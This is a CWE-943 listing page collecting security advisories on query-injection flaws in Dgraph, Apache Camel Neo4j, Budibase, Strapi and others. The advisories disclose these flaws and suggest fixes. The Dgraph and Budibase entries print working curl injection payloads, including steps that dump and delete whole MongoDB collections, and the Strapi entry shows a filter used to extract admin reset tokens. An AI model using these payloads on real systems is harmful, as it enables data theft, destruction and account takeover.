CWE-943
Allowed-with-ReviewImproper Neutralization of Special Elements in Data Query Logic
Abstraction: Class · Status: Incomplete
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
150 vulnerabilities reference this CWE, most recent first.
GHSA-Q2M9-6JP9-C6MC
Vulnerability from github – Published: 2026-06-29 22:53 – Updated: 2026-06-29 22:53Summary
The checkUserPassword GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL checkpwd() query via fmt.Sprintf without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks.
Details
Vulnerable Code Path
The vulnerability exists in the GraphQL-to-DQL query rewriting layer:
query_rewriter.go(~line 364) — Thecheckpwd()DQL function is constructed usingfmt.Sprintf:
go
fmt.Sprintf(`checkpwd(User.password, "%s")`, password)
The raw password string from the GraphQL query input is embedded directly into the DQL query without escaping double quotes or other special characters.
graphquery.go— The constructed query attribute is serialized into the final DQL string viab.WriteString(query.Attr), passing the unsanitized content directly to the Dgraph query engine.
Attack Mechanism
A password value containing a double-quote (") terminates the string literal in the checkpwd() function. Any content after the escaped quote is parsed as additional DQL, allowing the attacker to inject arbitrary query blocks.
Distinction from CVE-2026-41328 and CVE-2026-41327
CVE-2026-41328 and CVE-2026-41327 address DQL injection in edgraph/server.go, where GraphQL mutation inputs (upsert/delete) are embedded unsafely into DQL mutations. Those fixes sanitize the mutation path.
This vulnerability is in a completely different code path — the GraphQL query rewriter (query_rewriter.go → graphquery.go). The checkUserPassword GraphQL query triggers a DQL query via checkpwd(), and this query construction was not covered by the patches for CVE-2026-41328/CVE-2026-41327.
PoC
curl -s -X POST http://TARGET:8080/graphql \
-H "Content-Type: application/json" \
-d '{ "query": "query { checkUserPassword(name: \"admin\", password: \"x\\\") { uid } injected(func: has(User.name)) { User.name User.email } dummy(func: eq(x, \\\"x\") { msg } }") { msg } }" }'
What to observe:
- The
touched_uidsfield in theextensionssection of the response will be elevated (indicating the injected blocks executed) - Dgraph server logs (
dgraph alphaoutput) will show the injected query blocks being parsed and executed - The response itself may be filtered by the GraphQL layer, but server-side execution is confirmed
Impact
- Data enumeration: Injected query blocks execute server-side and can probe for the existence of predicates, types, and nodes via
touched_uidsmetrics and server logs. - Schema discovery: An attacker can enumerate all predicates and types in the database by injecting
schema {}blocks orhas()queries. - Resource exhaustion: Expensive injected queries (recursive traversals, large aggregations) execute at the DQL layer, consuming server resources regardless of whether results are returned to the attacker.
- Potential data disclosure: Depending on Dgraph configuration (e.g., debug mode, custom extensions), injected query results may leak into the response.
CVSS 3.1: 7.5 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Network-accessible via any GraphQL endpoint
- No authentication required (
checkUserPasswordis an unauthenticated query) - Low attack complexity (single crafted HTTP request)
- High confidentiality impact (server-side query execution confirmed, data enumeration possible)
Affected Versions
All versions of Dgraph that include GraphQL support with the @secret directive are affected:
- <= v25.3.3
- Any version where
query_rewriter.goconstructscheckpwd()via string interpolation
Suggested Fix
Escape or parameterize the password value before embedding it in the DQL query. At minimum, double-quote characters in the password must be escaped:
// Before (vulnerable):
fmt.Sprintf(`checkpwd(User.password, "%s")`, password)
// After (escaped):
escaped := strings.ReplaceAll(password, `\`, `\\`)
escaped = strings.ReplaceAll(escaped, `"`, `\"`)
fmt.Sprintf(`checkpwd(User.password, "%s")`, escaped)
Ideally, Dgraph should implement parameterized query support for the checkpwd() function to avoid string interpolation entirely, consistent with best practices for injection prevention.
Credit
Kai Aizen (kai.aizen.dev@gmail.com)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 25.3.3"
},
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph/v25"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.3.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44840"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-29T22:53:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `checkUserPassword` GraphQL query in Dgraph is vulnerable to DQL (Dgraph Query Language) injection. User-supplied password values are interpolated directly into a DQL `checkpwd()` query via `fmt.Sprintf` without any escaping or parameterization. An attacker can inject a password containing a double-quote character to break out of the DQL string literal and append arbitrary DQL query blocks.\n\n## Details\n\n### Vulnerable Code Path\n\nThe vulnerability exists in the GraphQL-to-DQL query rewriting layer:\n\n1. **`query_rewriter.go` (~line 364)** \u2014 The `checkpwd()` DQL function is constructed using `fmt.Sprintf`:\n\n ```go\n fmt.Sprintf(`checkpwd(User.password, \"%s\")`, password)\n ```\n\n The raw password string from the GraphQL query input is embedded directly into the DQL query without escaping double quotes or other special characters.\n\n2. **`graphquery.go`** \u2014 The constructed query attribute is serialized into the final DQL string via `b.WriteString(query.Attr)`, passing the unsanitized content directly to the Dgraph query engine.\n\n### Attack Mechanism\n\nA password value containing a double-quote (`\"`) terminates the string literal in the `checkpwd()` function. Any content after the escaped quote is parsed as additional DQL, allowing the attacker to inject arbitrary query blocks.\n\n### Distinction from CVE-2026-41328 and CVE-2026-41327\n\nCVE-2026-41328 and CVE-2026-41327 address DQL injection in **`edgraph/server.go`**, where GraphQL mutation inputs (upsert/delete) are embedded unsafely into DQL mutations. Those fixes sanitize the mutation path.\n\nThis vulnerability is in a **completely different code path** \u2014 the **GraphQL query rewriter** (`query_rewriter.go` \u2192 `graphquery.go`). The `checkUserPassword` GraphQL query triggers a DQL *query* via `checkpwd()`, and this query construction was not covered by the patches for CVE-2026-41328/CVE-2026-41327.\n\n## PoC\n\n```bash\ncurl -s -X POST http://TARGET:8080/graphql \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{ \"query\": \"query { checkUserPassword(name: \\\"admin\\\", password: \\\"x\\\\\\\") { uid } injected(func: has(User.name)) { User.name User.email } dummy(func: eq(x, \\\\\\\"x\\\") { msg } }\") { msg } }\" }\u0027\n```\n\n**What to observe:**\n\n- The `touched_uids` field in the `extensions` section of the response will be elevated (indicating the injected blocks executed)\n- Dgraph server logs (`dgraph alpha` output) will show the injected query blocks being parsed and executed\n- The response itself may be filtered by the GraphQL layer, but server-side execution is confirmed\n\n## Impact\n\n- **Data enumeration**: Injected query blocks execute server-side and can probe for the existence of predicates, types, and nodes via `touched_uids` metrics and server logs.\n- **Schema discovery**: An attacker can enumerate all predicates and types in the database by injecting `schema {}` blocks or `has()` queries.\n- **Resource exhaustion**: Expensive injected queries (recursive traversals, large aggregations) execute at the DQL layer, consuming server resources regardless of whether results are returned to the attacker.\n- **Potential data disclosure**: Depending on Dgraph configuration (e.g., debug mode, custom extensions), injected query results may leak into the response.\n\n**CVSS 3.1: 7.5 High** \u2014 `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`\n\n- Network-accessible via any GraphQL endpoint\n- No authentication required (`checkUserPassword` is an unauthenticated query)\n- Low attack complexity (single crafted HTTP request)\n- High confidentiality impact (server-side query execution confirmed, data enumeration possible)\n\n## Affected Versions\n\nAll versions of Dgraph that include GraphQL support with the `@secret` directive are affected:\n\n- \u003c= v25.3.3\n- Any version where `query_rewriter.go` constructs `checkpwd()` via string interpolation\n\n## Suggested Fix\n\nEscape or parameterize the password value before embedding it in the DQL query. At minimum, double-quote characters in the password must be escaped:\n\n```go\n// Before (vulnerable):\nfmt.Sprintf(`checkpwd(User.password, \"%s\")`, password)\n\n// After (escaped):\nescaped := strings.ReplaceAll(password, `\\`, `\\\\`)\nescaped = strings.ReplaceAll(escaped, `\"`, `\\\"`)\nfmt.Sprintf(`checkpwd(User.password, \"%s\")`, escaped)\n```\n\nIdeally, Dgraph should implement parameterized query support for the `checkpwd()` function to avoid string interpolation entirely, consistent with best practices for injection prevention.\n\n## Credit\n\nKai Aizen (kai.aizen.dev@gmail.com)",
"id": "GHSA-q2m9-6jp9-c6mc",
"modified": "2026-06-29T22:53:52Z",
"published": "2026-06-29T22:53:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-q2m9-6jp9-c6mc"
},
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/commit/cee702c93f141eeb0c96a81f70830ec9e459efac"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgraph-io/dgraph"
},
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dgraph Vulnerable to DQL Injection via checkUserPassword GraphQL Query"
}
GHSA-Q86M-QJPM-VQCW
Vulnerability from github – Published: 2026-07-06 09:30 – Updated: 2026-07-06 21:30Improper Neutralization of Special Elements in Data Query Logic vulnerability in Apache Camel Neo4J component.
The camel-neo4j producer builds the Cypher WHERE clause for its match/retrieve and delete operations from the CamelNeo4jMatchProperties map. CVE-2025-66169 addressed Cypher injection through the property values by binding them as query parameters ($paramN), but the property names (the JSON keys of that map) were still concatenated into the query string verbatim in Neo4jProducer.retrieveNodes() and deleteNode(). A property name containing Cypher syntax therefore alters the structure of the executed query. Where a route maps untrusted input into the CamelNeo4jMatchProperties map - for example by passing a request body as the match map, or from a consumer that does not filter inbound Camel* headers - an attacker who controls the JSON key names can inject arbitrary Cypher and read, modify or delete any node or relationship in the Neo4j database. The CamelNeo4jMatchProperties header is itself Camel-prefixed and is filtered by the HTTP header-filter strategy, so a plain HTTP client cannot set it directly; the issue is reachable through routes that deliberately or inadvertently carry untrusted data into that header. This issue affects Apache Camel: from 4.10.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.
Users are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, do not populate the CamelNeo4jMatchProperties map from untrusted input: validate or allow-list the property names (for example against ^[A-Za-z_][A-Za-z0-9_]$) before the Neo4j producer, and ensure that any consumer feeding such a route filters inbound Camel / camel* headers so the match header cannot be supplied by an external sender.
{
"affected": [],
"aliases": [
"CVE-2026-46591"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-06T09:16:37Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements in Data Query Logic vulnerability in Apache Camel Neo4J component.\n\nThe camel-neo4j producer builds the Cypher WHERE clause for its match/retrieve and delete operations from the CamelNeo4jMatchProperties map. CVE-2025-66169 addressed Cypher injection through the property values by binding them as query parameters ($paramN), but the property names (the JSON keys of that map) were still concatenated into the query string verbatim in Neo4jProducer.retrieveNodes() and deleteNode(). A property name containing Cypher syntax therefore alters the structure of the executed query. Where a route maps untrusted input into the CamelNeo4jMatchProperties map - for example by passing a request body as the match map, or from a consumer that does not filter inbound Camel* headers - an attacker who controls the JSON key names can inject arbitrary Cypher and read, modify or delete any node or relationship in the Neo4j database. The CamelNeo4jMatchProperties header is itself Camel-prefixed and is filtered by the HTTP header-filter strategy, so a plain HTTP client cannot set it directly; the issue is reachable through routes that deliberately or inadvertently carry untrusted data into that header.\nThis issue affects Apache Camel: from 4.10.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0.\n\nUsers are recommended to upgrade to version 4.21.0, which fixes the issue. If users are on the 4.14.x LTS releases stream, then they are suggested to upgrade to 4.14.8. If users are on the 4.18.x releases stream, then they are suggested to upgrade to 4.18.3. For deployments that cannot upgrade immediately, do not populate the CamelNeo4jMatchProperties map from untrusted input: validate or allow-list the property names (for example against ^[A-Za-z_][A-Za-z0-9_]*$) before the Neo4j producer, and ensure that any consumer feeding such a route filters inbound Camel* / camel* headers so the match header cannot be supplied by an external sender.",
"id": "GHSA-q86m-qjpm-vqcw",
"modified": "2026-07-06T21:30:36Z",
"published": "2026-07-06T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46591"
},
{
"type": "WEB",
"url": "https://camel.apache.org/security/CVE-2026-46591.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QJ6X-MQQF-CV4Q
Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-09-21 00:00A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system. The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2021-1349"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-20T20:15:00Z",
"severity": "MODERATE"
},
"details": "\n A vulnerability in the web-based management interface of Cisco SD-WAN vManage Software could allow an authenticated, remote attacker to conduct Cypher query language injection attacks on an affected system.\n The vulnerability is due to insufficient input validation by the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the interface of an affected system. A successful exploit could allow the attacker to obtain sensitive information.\n ",
"id": "GHSA-qj6x-mqqf-cv4q",
"modified": "2022-09-21T00:00:42Z",
"published": "2022-05-24T17:39:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1349"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-cql-inject-72EhnUc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QRW6-CMHG-G5P6
Vulnerability from github – Published: 2024-08-14 18:32 – Updated: 2025-11-04 18:31IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) federated server 10.5, 11.1, and 11.5 is vulnerable to denial of service with a specially crafted query under certain conditions. IBM X-Force ID: 291307.
{
"affected": [],
"aliases": [
"CVE-2024-35136"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-14T18:15:11Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) federated server 10.5, 11.1, and 11.5 is vulnerable to denial of service with a specially crafted query under certain conditions. IBM X-Force ID: 291307.",
"id": "GHSA-qrw6-cmhg-g5p6",
"modified": "2025-11-04T18:31:17Z",
"published": "2024-08-14T18:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35136"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/291307"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240912-0003"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7165341"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QW6M-8FW2-2V64
Vulnerability from github – Published: 2026-07-24 21:25 – Updated: 2026-07-24 21:25Summary
Budibase's MongoDB query execution endpoint (POST /api/v2/queries/:queryId) is vulnerable to NoSQL injection through user-supplied query parameters. The enrichContext() function interpolates parameter values into JSON query templates using Handlebars with noEscaping: true, then parses the result with JSON.parse(). An attacker can inject JSON metacharacters (", {, }) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.
Details
The vulnerability exists because input validation and interpolation are misaligned. The validateQueryInputs() function blocks Handlebars template syntax ({{}}) but does not sanitize JSON structural characters:
packages/server/src/api/controllers/query/index.ts:57-69
function validateQueryInputs(parameters: QueryEventParameters) {
for (let entry of Object.entries(parameters)) {
const [key, value] = entry
if (typeof value !== "string") {
continue
}
if (findHBSBlocks(value).length !== 0) {
throw new Error(
`Parameter '${key}' input contains a handlebars binding - this is not allowed.`
)
}
}
}
After validation passes, enrichContext() performs raw string interpolation with escaping explicitly disabled:
packages/server/src/sdk/workspace/queries/queries.ts:105-108
enrichedQuery[key] = processStringSync(fields[key], parameters, {
noEscaping: true,
noHelpers: true,
escapeNewlines: true,
})
The interpolated string is then parsed as JSON at line 122:
packages/server/src/sdk/workspace/queries/queries.ts:122
enrichedQuery.json = JSON.parse(
enrichedQuery.json ||
enrichedQuery.customData ||
enrichedQuery.requestBody
)
The parsed object flows directly into MongoDB driver calls with no further sanitization:
packages/server/src/integrations/mongodb.ts:509
return await collection.find(json).toArray()
packages/server/src/integrations/mongodb.ts:624
return await collection.deleteMany(json.filter, json.options)
Consider a saved query with a JSON template like {"username": "{{username}}"}. If an attacker provides the parameter value ", "$ne": " the interpolated string becomes {"username": "", "$ne": ""} — a valid JSON object that matches all documents where username is not empty, instead of matching a single specific user.
The route requires only PermissionType.QUERY, PermissionLevel.WRITE (packages/server/src/api/routes/query.ts:27), which is available to regular app users — not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.
PoC
Prerequisites: A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a find query with {"username": "{{username}}"}).
Step 1: Authenticate as a regular app user
TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
-H "Content-Type: application/json" \
-d '{"username":"appuser@example.com","password":"password"}' \
-c - | grep budibase:auth | awk '{print $NF}')
Step 2: Execute the query normally (returns only matching document)
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "alice"}}'
# Returns: [{"username": "alice", ...}]
Step 3: Inject NoSQL operator to dump all documents
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns: [{"username": "alice", ...}, {"username": "bob", ...}, {"username": "admin", ...}, ...]
The injected value ", "$ne": " transforms the query from {"username": "alice"} to {"username": "", "$ne": ""}, which matches all documents where username is not empty.
Step 4: Delete all documents via a delete query (if a delete-type query is saved)
curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filter
Impact
- Data exfiltration: Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.
- Data modification: Through
updateManyqueries, attackers can modify arbitrary documents in bulk by injecting broadened filters. - Data destruction: Through
deleteManyqueries, attackers can delete all documents matching an injected filter, potentially wiping entire collections. - Authorization bypass: The attack requires only
QUERY WRITEpermission, which is a standard app-level permission — not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.
Recommended Fix
Sanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in enrichContext() before the processStringSync call:
packages/server/src/sdk/workspace/queries/queries.ts
// Add this helper function
function escapeJsonValue(value: string): string {
return value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')
}
// In enrichContext(), sanitize parameters before interpolation
for (const [key, value] of Object.entries(parameters)) {
if (typeof value === "string") {
parameters[key] = escapeJsonValue(value)
}
}
Alternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.
Additionally, add Joi validation to the execute endpoint (POST /api/v2/queries/:queryId) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@budibase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.38.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:25:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nBudibase\u0027s MongoDB query execution endpoint (`POST /api/v2/queries/:queryId`) is vulnerable to NoSQL injection through user-supplied query parameters. The `enrichContext()` function interpolates parameter values into JSON query templates using Handlebars with `noEscaping: true`, then parses the result with `JSON.parse()`. An attacker can inject JSON metacharacters (`\"`, `{`, `}`) into parameter values to alter the structure of MongoDB queries, bypassing intended filters to read, modify, or delete arbitrary documents.\n\n## Details\n\nThe vulnerability exists because input validation and interpolation are misaligned. The `validateQueryInputs()` function blocks Handlebars template syntax (`{{}}`) but does not sanitize JSON structural characters:\n\n**packages/server/src/api/controllers/query/index.ts:57-69**\n```typescript\nfunction validateQueryInputs(parameters: QueryEventParameters) {\n for (let entry of Object.entries(parameters)) {\n const [key, value] = entry\n if (typeof value !== \"string\") {\n continue\n }\n if (findHBSBlocks(value).length !== 0) {\n throw new Error(\n `Parameter \u0027${key}\u0027 input contains a handlebars binding - this is not allowed.`\n )\n }\n }\n}\n```\n\nAfter validation passes, `enrichContext()` performs raw string interpolation with escaping explicitly disabled:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:105-108**\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n noEscaping: true,\n noHelpers: true,\n escapeNewlines: true,\n})\n```\n\nThe interpolated string is then parsed as JSON at line 122:\n\n**packages/server/src/sdk/workspace/queries/queries.ts:122**\n```typescript\nenrichedQuery.json = JSON.parse(\n enrichedQuery.json ||\n enrichedQuery.customData ||\n enrichedQuery.requestBody\n)\n```\n\nThe parsed object flows directly into MongoDB driver calls with no further sanitization:\n\n**packages/server/src/integrations/mongodb.ts:509**\n```typescript\nreturn await collection.find(json).toArray()\n```\n\n**packages/server/src/integrations/mongodb.ts:624**\n```typescript\nreturn await collection.deleteMany(json.filter, json.options)\n```\n\nConsider a saved query with a JSON template like `{\"username\": \"{{username}}\"}`. If an attacker provides the parameter value `\", \"$ne\": \"` the interpolated string becomes `{\"username\": \"\", \"$ne\": \"\"}` \u2014 a valid JSON object that matches all documents where `username` is not empty, instead of matching a single specific user.\n\nThe route requires only `PermissionType.QUERY, PermissionLevel.WRITE` (packages/server/src/api/routes/query.ts:27), which is available to regular app users \u2014 not restricted to builders or admins. Critically, the execute endpoint has no Joi schema validation on the request body, unlike the save and preview endpoints.\n\n## PoC\n\n**Prerequisites:** A Budibase instance with a MongoDB datasource and a saved query that accepts a parameter interpolated into the query JSON (e.g., a `find` query with `{\"username\": \"{{username}}\"}`).\n\n**Step 1: Authenticate as a regular app user**\n```bash\nTOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"appuser@example.com\",\"password\":\"password\"}\u0027 \\\n -c - | grep budibase:auth | awk \u0027{print $NF}\u0027)\n```\n\n**Step 2: Execute the query normally (returns only matching document)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"alice\"}}\u0027\n# Returns: [{\"username\": \"alice\", ...}]\n```\n\n**Step 3: Inject NoSQL operator to dump all documents**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}\u0027\n# Returns: [{\"username\": \"alice\", ...}, {\"username\": \"bob\", ...}, {\"username\": \"admin\", ...}, ...]\n```\n\nThe injected value `\", \"$ne\": \"` transforms the query from `{\"username\": \"alice\"}` to `{\"username\": \"\", \"$ne\": \"\"}`, which matches all documents where username is not empty.\n\n**Step 4: Delete all documents via a delete query (if a delete-type query is saved)**\n```bash\ncurl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \\\n -H \"Content-Type: application/json\" \\\n -b \"budibase:auth=$TOKEN\" \\\n -d \u0027{\"parameters\": {\"username\": \"\\\", \\\"$ne\\\": \\\"\"}}\u0027\n# Deletes ALL documents matching the injected filter\n```\n\n## Impact\n\n- **Data exfiltration:** Any app user with query write permission can bypass intended query filters to read all documents in a MongoDB collection, including sensitive data belonging to other users or tenants.\n- **Data modification:** Through `updateMany` queries, attackers can modify arbitrary documents in bulk by injecting broadened filters.\n- **Data destruction:** Through `deleteMany` queries, attackers can delete all documents matching an injected filter, potentially wiping entire collections.\n- **Authorization bypass:** The attack requires only `QUERY WRITE` permission, which is a standard app-level permission \u2014 not builder or admin access. This means any regular application user can exploit saved MongoDB queries they have access to execute.\n\n## Recommended Fix\n\nSanitize parameter values before interpolation by escaping JSON metacharacters. Apply this in `enrichContext()` before the `processStringSync` call:\n\n**packages/server/src/sdk/workspace/queries/queries.ts**\n```typescript\n// Add this helper function\nfunction escapeJsonValue(value: string): string {\n return value.replace(/\\\\/g, \"\\\\\\\\\").replace(/\"/g, \u0027\\\\\"\u0027)\n}\n\n// In enrichContext(), sanitize parameters before interpolation\nfor (const [key, value] of Object.entries(parameters)) {\n if (typeof value === \"string\") {\n parameters[key] = escapeJsonValue(value)\n }\n}\n```\n\nAlternatively, adopt a parameterized query approach: instead of string interpolation into JSON, parse the template JSON first and then inject parameter values into the parsed object at the value level, preventing any structural modification of the query.\n\nAdditionally, add Joi validation to the execute endpoint (`POST /api/v2/queries/:queryId`) to constrain the shape of incoming parameter values, consistent with the validation already present on the save and preview endpoints.",
"id": "GHSA-qw6m-8fw2-2v64",
"modified": "2026-07-24T21:25:51Z",
"published": "2026-07-24T21:25:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-qw6m-8fw2-2v64"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/18907"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/2d6c1d17cff8a653adbb2f9003eda9de38c7670f"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.39.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": " Budibase: NoSQL Injection via JSON Parameter Interpolation in MongoDB Query Execution"
}
GHSA-RC2J-XVRX-6GQJ
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2025-04-20 03:43Improper Neutralization of Special Elements used in an OS Command in bookmarking function of Newsbeuter versions 0.7 through 2.9 allows remote attackers to perform user-assisted code execution by crafting an RSS item that includes shell code in its title and/or URL.
{
"affected": [],
"aliases": [
"CVE-2017-12904"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-23T14:29:00Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in an OS Command in bookmarking function of Newsbeuter versions 0.7 through 2.9 allows remote attackers to perform user-assisted code execution by crafting an RSS item that includes shell code in its title and/or URL.",
"id": "GHSA-rc2j-xvrx-6gqj",
"modified": "2025-04-20T03:43:45Z",
"published": "2022-05-13T01:14:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12904"
},
{
"type": "WEB",
"url": "https://github.com/akrennmair/newsbeuter/issues/591"
},
{
"type": "WEB",
"url": "https://github.com/akrennmair/newsbeuter/commit/96e9506ae9e252c548665152d1b8968297128307"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#!topic/newsbeuter/iFqSE7Vz-DE"
},
{
"type": "WEB",
"url": "https://groups.google.com/forum/#%21topic/newsbeuter/iFqSE7Vz-DE"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4585-1"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2017/dsa-3947"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RJG2-95X7-8QMX
Vulnerability from github – Published: 2026-05-14 13:17 – Updated: 2026-05-15 23:44Summary of CVE-2026-27886 Vulnerability Details
- CVE: CVE-2026-27886
- CVSS v3.1 Vector:
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N(9.3 — Critical) - Affected Versions:
@strapi/strapi<=5.36.1 - How to Patch: Immediately update your Strapi to >=5.37.0
Description of CVE-2026-27886
Strapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the where query parameter on any publicly-accessible content-type with an updatedBy (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.
When a filter such as where[updatedBy][resetPasswordToken][$startsWith]=a was applied to a public Content API endpoint, the underlying query generation performed a LEFT JOIN against the admin_users table and emitted a WHERE clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.
